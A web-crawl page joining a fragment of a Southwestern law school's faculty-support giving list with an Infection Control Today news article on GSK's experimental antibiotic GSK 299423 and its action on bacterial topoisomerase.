The Treusch Professorship was established in 1998 by Southwestern Professor Paul Treusch and his wife Phyllis.
The Justice Marshall F. McComb Professorship
The McComb Professorship was established in 2005 by the McComb Foundation in memory of Justice Marshall F. McComb who served on the California Supreme Court.
Faculty Support
Funding for faculty development and research helps ensure the continuing ability of faculty to expand the breadth and depth of the Southwestern curriculum and better prepare students for the profession. Support for faculty development can range from a single project to the endowment of a professorship:
- $150-300: Research work-in-progress review lunch
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- $2,000: Salary for a student research assistant for a faculty member
- $5,500: Summer research grant
- $10,000-25,000: Law teaching institute
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- $250,000: Endowed professorship


text:
© 2023 MJH Life Sciences™ and Infection Control Today. All rights reserved.
Detailed pictures published today reveal how a new type of experimental antibiotic can kill bacteria that are already resistant to existing treatments. The findings could ultimately help scientists to develop new antibiotics to tackle the bacteria responsible for many hospital and community-acquired infections.
Detailed pictures published today reveal how a new type of experimental antibiotic can kill bacteria that are already resistant to existing treatments. The findings could ultimately help scientists to develop new antibiotics to tackle the bacteria responsible for many hospital- and community-acquired infections.
Using an imaging technique called X-ray crystallography, a team of researchers from GlaxoSmithKline (GSK) captured a snapshot of the new compound latched on to the enzyme topoisomerase. This enzyme is part of the bacteria's internal machinery and helps the bacteria produce proteins and replicate. Stopping this enzyme prevents the bacteria from reproducing. Medicines, known as the quinolones, that target the enzyme have been used successfully as antibiotics since 1962, however bacteria are increasingly developing resistance to this class of drugs.
By looking at X-ray images, the team have demonstrated that the new investigational medicine attaches to the enzyme in a different place to the quinolones, enabling it to stop the same bacteria that are resistant to these older treatments. The research is published today in the journal Nature, and is the result of two unique collaborations between GSK and the Wellcome Trust's Seeding Drug Discovery initiative and the U.S. Defense Threat Reduction Agency (DTRA).
"We already knew that targeting this enzyme was clinically proven to stop bacteria in their tracks, we just needed to be a bit more inventive in how we attacked it," says Michael Gwynn, from GSK's infectious diseases research group. "These images and the data showing the efficacy of this compound against a range of bacteria validate our approach, demonstrating that the enzyme can still be blocked even in bacteria already resistant to other antibiotics that work against this same enzyme."
The study also reports the potency of the new compound, called GSK 299423, against antibiotic-resistant strains of bacteria such as Staphylococus aureus, including methicillin-resistant S. aureus (MRSA), and against Gram-negative bacteria like E. coli, Pseudomonas, Klebsiella and Acinetobacter. Gram-negative bacteria are particularly difficult to attack as they have an outer membrane surrounding the bacterial cell wall which interferes with drug penetration. New medicines must not only be toxic to the pathogen, but must first overcome the barriers to entry into the cell.
Commenting on the importance of the findings, Ted Bianco of the Wellcome Trust notes, "This is an important step forward in the race against antibiotic resistance. By solving the new structure of this important bacterial enzyme, and understanding how these drugs work, the team has opened the door for targeted drug design of new antibiotics, which are urgently needed."
The particular compound from this study is one of a group that is currently being worked on in order to develop the best compounds in terms of efficacy and safety. This should help identify drug candidates that could be taken forward into early stage trials in humans.
Development of the new drug class to tackle gram-negative infections is supported as part of the Trust's Seeding Drug Discovery initiative. The collaboration provides GSK with a £4 million award from the Trust with GSK matching the contribution in staff, equipment, and other programme costs. The research collaborations with the Trust and with DTRA are aimed at developing an entirely new class of antibacterials to tackle hospital-acquired infections and potential bio-threat outbreaks.
"The Wellcome Trust has recently announced a five-year extension to the Seeding Drug Discovery initiative, enabling us to continue to support drug development in areas of unmet medical need," says Rick Davis, business development manager at the Wellcome Trust.